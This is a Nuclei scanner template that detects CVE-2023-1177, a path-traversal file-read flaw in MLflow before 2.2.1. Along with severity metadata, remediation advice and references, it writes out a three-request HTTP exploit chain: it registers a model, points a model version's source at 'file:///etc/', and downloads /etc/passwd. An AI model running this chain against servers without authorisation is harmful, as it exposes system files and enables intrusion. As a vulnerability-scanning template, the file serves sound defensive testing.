nuclei-templates/http/cves/2023/CVE-2023-1177.yaml

69 lines
2.3 KiB
YAML

id: CVE-2023-1177
info:
name: Mlflow <2.2.1 - Local File Inclusion
author: iamnoooob,pdresearch
severity: critical
description: |
Mlflow before 2.2.1 is susceptible to local file inclusion due to path traversal \..\filename in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
remediation: |
Upgrade Mlflow to version 2.2.1 or later to mitigate the vulnerability.
reference:
- https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
- https://github.com/mlflow/mlflow/commit/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1177
- https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28
- https://nvd.nist.gov/vuln/detail/CVE-2023-1177
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1177
cwe-id: CWE-29,CWE-22
epss-score: 0.01985
epss-percentile: 0.87547
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: lfprojects
product: mlflow
shodan-query: http.title:"mlflow"
tags: mlflow,oss,lfi,huntr,cve,cve2023,intrusive
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}","source":"file:///etc/"}
- |
GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- '"version": "([0-9.]+)",'
internal: true
part: body
# digest: 490a004630440220319261ea4fd6928e06ef7044f204453ac8c2fd23a08f1c7a021856e46c1c1625022055a372dcfaeeb8f314c3541dfecc9ae0a4a0ef7a324e7ff730d5f61c7adc44b3:922c64590222798bb761d5b6d8e72950